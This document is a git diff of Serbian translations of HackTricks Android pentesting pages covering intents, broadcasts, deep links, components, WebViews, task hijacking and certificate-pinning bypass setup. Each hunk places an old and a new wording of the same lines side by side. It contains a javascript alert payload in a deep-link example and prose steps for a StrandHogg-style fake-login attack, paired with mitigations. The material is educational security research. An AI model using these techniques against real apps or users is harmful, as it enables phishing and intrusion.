Proces "Rešavanja namere" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji se može postaviti u deklaraciji **intent-filtera**, i **onaj sa većim prioritetom će biti izabran**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti vrednost `SYSTEM_HIGH_PRIORITY`. Ako dođe do **sukoba**, pojavljuje se prozor "izbora" kako bi **korisnik odlučio**.
### Eksplicitni Intenti
### Eksplicitne namere
Eksplicitni intent specificira ime klase koju cilja:
Eksplicitna namera navodi ime klase koju cilja:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -181,32 +181,32 @@ context.startService(intent);
```
### Pending Intents
Ovi dozvoljavaju drugim aplikacijama da **preduzmu radnje u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Konstruisanje Pending Intenta treba **specificirati nameru i radnju koju treba izvršiti**. Ako **deklarisana namera nije eksplicitna** (ne deklariše koja namera može da je pozove), **zlonamerna aplikacija može izvršiti deklarisanu radnju** u ime aplikacije žrtve. Štaviše, **ako radnja nije specificirana**, zlonamerna aplikacija će moći da izvrši **bilo koju radnju u ime žrtve**.
Ovi dozvoljavaju drugim aplikacijama da **preduzmu radnje u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Konstruisanje Pending Intenta treba **specificirati nameru i radnju koju treba izvršiti**. Ako **deklarisana namera nije eksplicitna** (ne deklariše koja namera može da je pozove), **zlonamerna aplikacija može izvršiti deklarisane radnje** u ime aplikacije žrtve. Štaviše, **ako radnja nije specificirana**, zlonamerna aplikacija će moći da izvrši **bilo koju radnju u ime žrtve**.
### Broadcast Intents
Za razliku od prethodnih namera, koje prima samo jedna aplikacija, broadcast namerama **mogu pristupiti više aplikacija**. Međutim, od API verzije 14, **moguće je specificirati aplikaciju koja treba da primi** poruku korišćenjem Intent.setPackage.
Alternativno, moguće je **specificirati dozvolu prilikom slanja broadcasta**. Aplikacija primaoc će morati da ima tu dozvolu.
Alternativno, takođe je moguće **specificirati dozvolu prilikom slanja broadcasta**. Aplikacija primaoc će morati da ima tu dozvolu.
Postoje **dva tipa** Broadcasta: **Normalni** (asinhroni) i **Poređani** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar elementa primaoca**. **Svaka aplikacija može obraditi, proslediti ili odbaciti Broadcast.**
Postoje **dva tipa** Broadcasta: **Normalni** (asinhroni) i **Poređani** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar primaoca** elementa. **Svaka aplikacija može obraditi, proslediti ili odbaciti Broadcast.**
Moguće je **poslati** broadcast korišćenjem funkcije `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** kako biste osigurali da **poruka nikada ne napusti aplikaciju**. Korišćenjem ovoga, čak nećete morati ni da izvezete komponentu primaoca.
Moguće je **poslati** broadcast koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koji osigurava da **poruka nikada ne napusti aplikaciju**. Korišćenjem ovoga čak nećete morati ni da izvezete komponentu primaoca.
### Sticky Broadcasts
### Ljepljivi Broadcasti
Ova vrsta Broadcasta **može se pristupiti dugo nakon što su poslati**.\
Ovaj tip Broadcasta **može biti pristupan dugo nakon što su poslati**.\
Ovi su zastareli od API nivoa 21 i preporučuje se **da se ne koriste**.\
**Dozvoljavaju bilo kojoj aplikaciji da prisluškuje podatke, ali i da ih modifikuje.**
Ako pronađete funkcije koje sadrže reč "sticky" poput **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
Ako pronađete funkcije koje sadrže reč "ljepljivi" poput **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
## Duboki linkovi / URL šeme
## Duboke veze / URL šeme
U Android aplikacijama, **duboki linkovi** se koriste za pokretanje radnje (Intent) direktno putem URL-a. To se postiže deklarisanjem specifične **URL šeme** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom šemom**, pokreće se određena aktivnost unutar aplikacije.
U Android aplikacijama, **duboke veze** se koriste za pokretanje radnje (Intent) direktno putem URL-a. To se postiže deklarisanjem specifične **URL šeme** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom šemom**, pokreće se određena aktivnost unutar aplikacije.
Šema se mora deklarisati u **`AndroidManifest.xml`** fajlu:
Šema se mora deklarisati u datoteci **`AndroidManifest.xml`**:
```xml
[...]
<activity android:name=".MyActivity">
@ -226,7 +226,7 @@ Zatim, u polju podataka, možete specificirati **host** i **putanju**:
android:host="example"
/>
```
Da biste pristupili tome sa veba, moguće je postaviti link poput:
Da biste pristupili sa veba, moguće je postaviti link kao:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
@ -237,11 +237,11 @@ Saznajte kako [pozvati dubinske linkove bez korišćenja HTML stranica](./#explo
## AIDL - Android Interface Definition Language
**Android Interface Definition Language (AIDL)** dizajniran je za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **međuprocesne komunikacije** (IPC). Budući da direktno pristupanje memoriji drugog procesa nije dozvoljeno na Androidu, AIDL pojednostavljuje proces marshalinga objekata u format koji razume operativni sistem, olakšavajući tako komunikaciju između različitih procesa.
**Android Interface Definition Language (AIDL)** dizajniran je za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **međuprocesne komunikacije** (IPC). Budući da direktno pristupanje memoriji drugog procesa nije dozvoljeno na Androidu, AIDL pojednostavljuje proces marshalling objekata u format koji razume operativni sistem, olakšavajući komunikaciju između različitih procesa.
### Ključni koncepti
- **Povezani servisi**: Ovi servisi koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa ključna je za pokretanje interakcije, označavajući je kao važno područje za pregled sigurnosti u potrazi za ranjivostima.
- **Povezani servisi**: Ovi servisi koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa je ključna za pokretanje interakcije, označavajući je kao važno područje za pregled sigurnosti u potrazi za ranjivostima.
- **Messenger**: Funkcionišući kao povezani servis, Messenger olakšava IPC sa fokusom na obradi podataka putem metode `onBind`. Važno je pažljivo pregledati ovu metodu radi bilo kakvog nebezbednog rukovanja podacima ili izvršavanja osetljivih funkcija.
@ -255,7 +255,7 @@ Ove uključuju: **Aktivnosti, Servise, Prijemnike emitovanja i Provajdere.**
U Android aplikacijama, **aktivnosti** su poput ekrana koji prikazuju različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, prikazujući svaka jedan jedinstveni ekran korisniku.
**Aktivnost pokretača** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER namerama:
**Aktivnost pokretača** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER intentima:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -264,7 +264,7 @@ U Android aplikacijama, **aktivnosti** su poput ekrana koji prikazuju različite
</intent-filter>
</activity>
```
Nisu sve aplikacije potrebne aktivnosti lansera, posebno one bez korisničkog interfejsa, poput pozadinskih usluga.
Nisu sve aplikacije potrebne aktivnosti pokretača, posebno one bez korisničkog interfejsa, poput pozadinskih usluga.
Aktivnosti mogu biti dostupne drugim aplikacijama ili procesima označavanjem kao "izložene" u manifestu. Ovo podešavanje omogućava drugim aplikacijama da pokrenu ovu aktivnost:
```markdown
@ -276,7 +276,7 @@ Međutim, pristupanje aktivnosti iz druge aplikacije nije uvek sigurnosni rizik.
### Podklasa aplikacije
U Android razvoju, aplikacija ima opciju da kreira **podklasu** klase [Application](https://developer.android.com/reference/android/app/Application), iako to nije obavezno. Kada je takva podklasa definisana, postaje prva klasa koja se instancira unutar aplikacije. Metoda **`attachBaseContext`**, ako je implementirana u ovoj podklasi, izvršava se pre metode **`onCreate`**. Ova postavka omogućava ranu inicijalizaciju pre nego što ostatak aplikacije počne.
U Android razvoju, aplikacija ima opciju da kreira **podklasu** klase [Application](https://developer.android.com/reference/android/app/Application), iako to nije obavezno. Kada je takva podklasa definisana, postaje prva klasa koja se instancira unutar aplikacije. Metoda **`attachBaseContext`**, ako je implementirana u ovoj podklasi, izvršava se pre metode **`onCreate`**. Ova postavka omogućava ranu inicijalizaciju pre nego što se ostatak aplikacije pokrene.
```java
public class MyApp extends Application {
@Override
@ -296,7 +296,7 @@ super.onCreate();
[Servisi](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni da izvršavaju zadatke bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na druge aplikacije, što čini servise ključnim za **dugotrajne operacije**.
Servisi su veoma prilagodljivi; mogu biti pokrenuti na različite načine, pri čemu su **Intents** primarni metod za njihovo pokretanje kao ulazna tačka aplikacije. Kada se servis pokrene korišćenjem metode `startService`, njegova metoda `onStart` se aktivira i nastavlja sa radom sve dok se eksplicitno ne pozove metoda `stopService`. Alternativno, ako je uloga servisa uslovljena aktivnom klijentskom konekcijom, koristi se metoda `bindService` za povezivanje klijenta sa servisom, angažujući metodu `onBind` za prenos podataka.
Servisi su veoma fleksibilni; mogu biti pokrenuti na različite načine, pri čemu su **Intents** primarni metod za njihovo pokretanje kao ulazna tačka aplikacije. Kada se servis pokrene korišćenjem metode `startService`, njegova metoda `onStart` se aktivira i nastavlja sa radom sve dok se eksplicitno ne pozove metoda `stopService`. Alternativno, ako je uloga servisa uslovljena aktivnom klijentskom konekcijom, koristi se metoda `bindService` za povezivanje klijenta sa servisom, angažujući metodu `onBind` za prenos podataka.
Interesantna primena servisa uključuje reprodukciju pozadinske muzike ili preuzimanje mrežnih podataka bez ometanja interakcije korisnika sa aplikacijom. Osim toga, servisi mogu biti dostupni drugim procesima na istom uređaju putem **izvoza**. Ovo nije podrazumevano ponašanje i zahteva eksplicitnu konfiguraciju u Android Manifest fajlu:
```xml
@ -304,21 +304,21 @@ Interesantna primena servisa uključuje reprodukciju pozadinske muzike ili preuz
```
### Broadcast Receivers
**Broadcast receivers** deluju kao slušaoci u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: putem **Manifesta** aplikacije ili **dinamički** unutar koda aplikacije putem **`registerReceiver`** API-ja. U Manifestu, emitovanja se filtriraju sa dozvolama, dok se dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
**Broadcast receivers** deluju kao slušaoci u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: putem **Manifesta** aplikacije ili **dinamički** unutar koda aplikacije putem API-ja **`registerReceiver`**. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
**Intent filteri** su ključni u oba metoda registracije, određujući koje emitovanja pokreću prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se metoda **`onReceive`** prijemnika, omogućavajući aplikaciji da reaguje u skladu, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskom nivou baterije.
**Filteri namere** su ključni u oba metoda registracije, određujući koje emitovanja pokreću prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se metoda **`onReceive`** prijemnika, omogućavajući aplikaciji da reaguje u skladu, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskom nivou baterije.
Emitovanja mogu biti ili **asinhrona**, dostižući sve prijemnike bez redosleda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni sigurnosni rizik, jer bilo koja aplikacija može sebe prioritetizovati da presretne emitovanje.
Da biste razumeli funkcionalnost prijemnika, potražite metodu **`onReceive`** unutar njegove klase. Kod ove metode može manipulisati primljenim Intentom, ističući potrebu za validacijom podataka od strane prijemnika, posebno u **Ordered Broadcasts**, koji mogu modifikovati ili odbaciti Intent.
Da biste razumeli funkcionalnost prijemnika, potražite metodu **`onReceive`** unutar njegove klase. Kod ove metode može manipulisati primljenom namerom, ističući potrebu za validacijom podataka od strane prijemnika, posebno u **Poređanim Emitovanjima**, koja mogu modifikovati ili odbaciti nameru.
### Content Provider
### Provajder Sadržaja
**Provajderi sadržaja** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementiranja **dozvola** radi osiguranja sigurnosti podataka. Oni omogućavaju aplikacijama pristup podacima iz različitih izvora, uključujući baze podataka, fajl sisteme ili web. Specifične dozvole, poput **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Dodatno, privremeni pristup može biti odobren putem podešavanja **`grantUriPermission`** u manifestu aplikacije, koristeći atribute poput `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
**Provajderi sadržaja** su ključni za **deljenje strukturiranih podataka** između aplikacija, naglašavajući važnost implementiranja **dozvola** kako bi se osigurala sigurnost podataka. Oni omogućavaju aplikacijama pristup podacima iz različitih izvora, uključujući baze podataka, fajl sisteme ili veb. Specifične dozvole, poput **`readPermission`** i **`writePermission`**, su ključne za kontrolu pristupa. Dodatno, privremeni pristup može biti odobren putem podešavanja **`grantUriPermission`** u manifestu aplikacije, koristeći atribute poput `path`, `pathPrefix` i `pathPattern` za detaljnu kontrolu pristupa.
Validacija unosa je od suštinskog značaja za sprečavanje ranjivosti, poput SQL injection-a. Provajderi sadržaja podržavaju osnovne operacije: `insert()`, `update()`, `delete()` i `query()`, olakšavajući manipulaciju podacima i deljenje među aplikacijama.
Validacija unosa je od suštinskog značaja kako bi se sprečile ranjivosti, poput SQL ubacivanja. Provajderi sadržaja podržavaju osnovne operacije: `insert()`, `update()`, `delete()` i `query()`, olakšavajući manipulaciju podacima i deljenje među aplikacijama.
**FileProvider**, specijalizovani Provajder sadržaja, fokusira se na sigurno deljenje fajlova. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa fasciklama, označenim sa `android:exported` i `android:resource` koji pokazuju na konfiguracije fascikli. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo slučajno izlaganje osetljivih podataka.
**FileProvider**, specijalizovani Provajder Sadržaja, fokusira se na sigurno deljenje fajlova. Definisan je u manifestu aplikacije sa specifičnim atributima za kontrolu pristupa fasciklama, označenim sa `android:exported` i `android:resource` koji pokazuju konfiguracije fascikli. Preporučuje se oprez prilikom deljenja direktorijuma kako bi se izbeglo slučajno izlaganje osetljivih podataka.
Primer deklaracije manifesta za FileProvider:
```xml
@ -330,11 +330,7 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
I primer za specificiranje deljenih foldera u `filepaths.xml`:
```xml
<sharedFolders>
```
I primer za specificiranje deljenih fascikli u `filepaths.xml` datoteci:
```xml
<paths>
<files-path path="images/" name="myimages" />
@ -346,7 +342,7 @@ Za dodatne informacije pogledajte:
## WebViews
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji prikazuju sadržaj ili sa weba ili iz lokalnih datoteka. Oni se suočavaju sa sličnim rizicima kao i obični pregledači, ali postoje načini da se **smanje ovi rizici** kroz specifična **podešavanja**.
WebViews su kao **mini web pregledači** unutar Android aplikacija, koji prikazuju sadržaj ili sa weba ili iz lokalnih datoteka. Oni se suočavaju sa sličnim rizicima kao i obični pregledači, ali postoji način da se **smanje ovi rizici** kroz specifična **podešavanja**.
Android nudi dva glavna tipa WebView-a:
@ -357,9 +353,9 @@ Ključna stvar je da WebView pregledači **ne dele kolačiće** sa glavnim pregl
Za učitavanje sadržaja, dostupne su metode poput ````loadUrl````, ````loadData````, i ````loadDataWithBaseURL````. Važno je osigurati da su ovi URL-ovi ili datoteke **sigurne za korišćenje**. Sigurnosna podešavanja mogu se upravljati putem klase ````WebSettings````. Na primer, onemogućavanje JavaScript-a sa ````setJavaScriptEnabled(false)```` može sprečiti XSS napade.
JavaScript "Bridge" omogućava Java objektima da komuniciraju sa JavaScript-om, zahtevajući da se metode obeleže sa ````@JavascriptInterface```` radi sigurnosti od Android verzije 4.2 nadalje.
JavaScript "Bridge" omogućava Java objektima da interaguju sa JavaScript-om, zahtevajući da se metode obeleže sa ````@JavascriptInterface```` radi sigurnosti od Android verzije 4.2 nadalje.
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebView-ima da pristupe Content Provider-ima, što može biti rizično osim ako URL-ovi sadržaja nisu provereni kao sigurni.
Dozvoljavanje pristupa sadržaju (````setAllowContentAccess(true)````) omogućava WebViews da pristupe Content Providers-u, što može biti rizično osim ako se URL-ovi sadržaja ne provere kao sigurni.
Za kontrolu pristupa datotekama:
- Onemogućavanje pristupa datotekama (````setAllowFileAccess(false)````) ograničava pristup fajl sistemu, sa izuzecima za određene resurse, osiguravajući da se koriste samo za neosetljiv sadržaj.
@ -376,7 +372,7 @@ Za kontrolu pristupa datotekama:
### **Upravljanje mobilnim uređajima (MDM)**
- **MDM rešenja** pružaju **nadzor i sigurnost** za mobilne uređaje putem **Device Administration API**-ja. Zahtevaju instalaciju Android aplikacije radi efikasnog upravljanja i osiguranja mobilnih uređaja. Ključne funkcije uključuju **sprovođenje politika lozinke**, **obaveznu enkripciju skladišta**, i **dozvolu za daljinsko brisanje podataka**, osiguravajući sveobuhvatnu kontrolu i sigurnost nad mobilnim uređajima.
- **MDM rešenja** pružaju **nadzor i sigurnost** za mobilne uređaje putem **Device Administration API**-ja. Zahtevaju instalaciju Android aplikacije radi efikasnog upravljanja i osiguranja mobilnih uređaja. Ključne funkcije uključuju **nametanje pravila za lozinke**, **obaveznu enkripciju skladišta**, i **dozvolu za daljinsko brisanje podataka**, osiguravajući sveobuhvatnu kontrolu i sigurnost nad mobilnim uređajima.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -389,7 +385,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
```
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -399,7 +395,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
## Zadatak, Back Stack i Aktivnosti u prvom planu
U Androidu, **zadatak** je suštinski skup aktivnosti sa kojima korisnici interaguju kako bi završili određeni posao, organizovan unutar **back stack**-a. Ovaj stek naručuje aktivnosti na osnovu toga kada su otvorene, pri čemu se najnovija aktivnost prikazuje na vrhu kao **aktivnost u prvom planu**. U svakom trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom **zadatka u prvom planu**.
U Androidu, **zadatak** je suštinski skup aktivnosti sa kojima korisnici interaguju kako bi završili određeni posao, organizovan unutar **back stack-a**. Ovaj stek poreda aktivnosti na osnovu toga kada su otvorene, pri čemu se najnovija aktivnost prikazuje na vrhu kao **aktivnost u prvom planu**. U svakom trenutku, samo je ova aktivnost vidljiva na ekranu, čineći je delom **zadatka u prvom planu**.
Evo brzog pregleda tranzicija aktivnosti:
@ -35,29 +35,29 @@ Evo brzog pregleda tranzicija aktivnosti:
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
## Napad na povezanost zadataka
## Napad na zadatke
### Pregled povezanosti zadataka i režima pokretanja
### Pregled zadatka i režima pokretanja
U Android aplikacijama, **povezanost zadataka** određuje preferirani zadatak aktivnosti, obično se podudarajući sa imenom paketa aplikacije. Ova postavka je ključna za izradu konceptualne aplikacije (PoC) za demonstraciju napada.
U Android aplikacijama, **zadatak pripadnosti** određuje preferirani zadatak aktivnosti, obično se podudarajući sa imenom paketa aplikacije. Ova postavka je ključna za izradu koncepta aplikacije (PoC) za demonstraciju napada.
### Režimi pokretanja
Atribut `launchMode` usmerava rukovanje instancama aktivnosti unutar zadataka. Režim **singleTask** je ključan za ovaj napad, diktirajući tri scenarija na osnovu postojećih instanci aktivnosti i podudaranja povezanosti zadataka. Eksploatacija se oslanja na sposobnost aplikacije napadača da imitira povezanost zadataka ciljne aplikacije, zavaravajući Android sistem da pokrene aplikaciju napadača umesto namenjene mete.
Atribut `launchMode` usmerava rukovanje instancama aktivnosti unutar zadataka. Režim **singleTask** je ključan za ovaj napad, diktirajući tri scenarija na osnovu postojećih instanci aktivnosti i podudaranja zadataka pripadnosti. Eksploatacija se oslanja na sposobnost aplikacije napadača da imitira zadatak pripadnosti ciljne aplikacije, zavaravajući Android sistem da pokrene aplikaciju napadača umesto ciljane.
### Detaljni koraci napada
1. **Instalacija zlonamerne aplikacije**: Žrtva instalira aplikaciju napadača na svoj uređaj.
1. **Instalacija zlonamerne aplikacije**: Žrtva instalira aplikaciju napadača na svom uređaju.
2. **Početna aktivacija**: Žrtva prvo otvara zlonamernu aplikaciju, pripremajući uređaj za napad.
3. **Pokušaj pokretanja ciljne aplikacije**: Žrtva pokušava da otvori ciljnu aplikaciju.
4. **Izvršenje preuzimanja kontrole**: Zbog podudaranja povezanosti zadataka, zlonamerna aplikacija se pokreće umesto ciljne aplikacije.
5. **Prevara**: Zlonamerna aplikacija prikazuje lažni ekran za prijavu koji podseća na ciljnu aplikaciju, prevareći korisnika da unese osetljive informacije.
3. **Pokušaj pokretanja ciljane aplikacije**: Žrtva pokušava da otvori ciljanu aplikaciju.
4. **Izvršenje preuzimanja kontrole**: Zbog podudaranja zadatka pripadnosti, zlonamerna aplikacija se pokreće umesto ciljane aplikacije.
5. **Prevara**: Zlonamerna aplikacija prikazuje lažni ekran za prijavu koji podseća na ciljanu aplikaciju, prevareći korisnika da unese osetljive informacije.
Za praktičnu implementaciju ovog napada, pogledajte repozitorijum Task Hijacking Strandhogg na GitHub-u: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Mere prevencije
Da bi se sprečili ovakvi napadi, programeri mogu postaviti `taskAffinity` na prazan string i odabrati režim pokretanja `singleInstance`, obezbeđujući izolaciju njihove aplikacije od drugih. Prilagođavanje funkcije `onBackPressed()` nudi dodatnu zaštitu od preuzimanja kontrole nad zadatkom.
Da bi se sprečili ovakvi napadi, programeri mogu postaviti `taskAffinity` na prazan string i odabrati režim pokretanja `singleInstance`, obezbeđujući izolaciju njihove aplikacije od drugih. Prilagođavanje funkcije `onBackPressed()` nudi dodatnu zaštitu od preuzimanja kontrole nad zadacima.
## **Reference**
@ -66,7 +66,7 @@ Da bi se sprečili ovakvi napadi, programeri mogu postaviti `taskAffinity` na pr
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,7 +32,7 @@ Prvo dekompajliramo aplikaciju: `apktool d *ime-fajla*.apk`
![](../../.gitbook/assets/img9.png)
Zatim idemo u **Manifest.xml** fajl i spuštamo se do oznake `<\application android>` i dodajemo sledeću liniju ako već nije tamo:
Zatim idemo u **Manifest.xml** fajl i spuštamo se do `<\application android>` oznake i dodajemo sledeću liniju ako već nije tamo:
`android:networkSecurityConfig="@xml/network_security_config`
@ -67,15 +67,15 @@ Na kraju, potrebno je samo **potpisati novu aplikaciju**. [Pročitajte ovu sekci
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -39,26 +39,26 @@
### [Statistička analiza](android-app-pentesting/#static-analysis)
* [ ] Proverite korišćenje [obfuskacije](android-checklist.md#some-obfuscation-deobfuscation-information), proverite da li je mobilni uređaj rutovan, da li se koristi emulator i proverite anti-tampering provere. [Pročitajte više ovde](android-app-pentesting/#other-checks).
* [ ] Osetljive aplikacije (kao što su bankarske aplikacije) treba da provere da li je mobilni uređaj rutovan i da reaguju u skladu.
* [ ] Osetljive aplikacije (kao što su bankarske aplikacije) treba da provere da li je mobilni uređaj rutovan i da reaguju u skladu sa tim.
* [ ] Potražite [interesantne stringove](android-app-pentesting/#looking-for-interesting-info) (šifre, URL-ove, API, enkripciju, backdoor-e, tokene, Bluetooth UUID-ove...).
* [ ] Posebna pažnja na [firebase ](android-app-pentesting/#firebase)API-je.
* [ ] Pročitajte manifest:
